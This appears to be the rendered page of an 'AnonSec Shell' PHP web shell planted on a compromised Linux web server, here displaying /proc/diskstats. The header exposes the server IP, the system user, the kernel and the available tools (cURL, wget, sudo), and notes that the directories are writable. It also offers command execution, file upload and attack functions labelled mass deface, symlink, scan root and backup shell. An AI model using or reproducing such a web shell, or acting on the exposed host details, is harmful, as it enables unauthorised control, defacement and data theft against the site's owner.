AnonSec Shell
Server IP : 198.244.165.102  /  Your IP : 216.73.216.218   [ Reverse IP ]
Web Server : nginx/1.24.0
System : Linux modovh-ub-01 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : colleary ( 1011)
PHP Version : 8.3.23
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/diskstats
   7       0 loop0 11 0 28 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       1 loop1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       2 loop2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       3 loop3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       4 loop4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       5 loop5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       6 loop6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       7 loop7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
 259       0 nvme0n1 1517328 6767811 1037788087 695798 69635366 28918838 1082466420 101197473 0 88909744 132551785 51411 41 651818464 25400 18911101 30633114
 259       6 nvme0n1p1 393 142 23728 39 2 0 9 0 0 38 40 2 0 1035504 0 0 0
 259       7 nvme0n1p2 2852 14079 2128860 1250 413 99 218241 1196 0 1354 2475 49 0 1546760 28 0 0
 259       8 nvme0n1p3 1513039 6753590 1035562989 694367 69634951 28918739 1082248170 101196276 0 90796436 101916015 51360 41 649236200 25371 0 0
 259       9 nvme0n1p4 228 0 18592 34 0 0 0 0 0 34 34 0 0 0 0 0 0
 259      10 nvme0n1p5 214 0 5470 25 0 0 0 0 0 29 25 0 0 0 0 0 0
 259       1 nvme1n1 1115742 6763272 1011035914 604829 69635361 28918841 1082466411 100136299 0 88039368 131242151 51409 41 650782960 25115 18911101 30475906
 259       2 nvme1n1p1 351 0 22512 36 0 0 0 0 0 31 36 0 0 0 0 0 0
 259       3 nvme1n1p2 2468 14048 2102258 1161 413 99 218241 1044 0 1388 2232 49 0 1546760 26 0 0
 259       4 nvme1n1p3 1112369 6749224 1008878504 603536 69634948 28918742 1082248170 100135255 0 89939020 100763880 51360 41 649236200 25088 0 0
 259       5 nvme1n1p4 228 0 18592 34 0 0 0 0 0 35 34 0 0 0 0 0 0
   9       2 md2 434 0 31218 79 408 0 218168 742 0 180 849 49 0 1546760 28 0 0
   9       3 md3 569208 0 52923834 101447 79642570 0 1075211016 102442140 0 62378628 102615222 51401 0 649236200 71635 0 0

Anon7 - 2022
AnonSec Team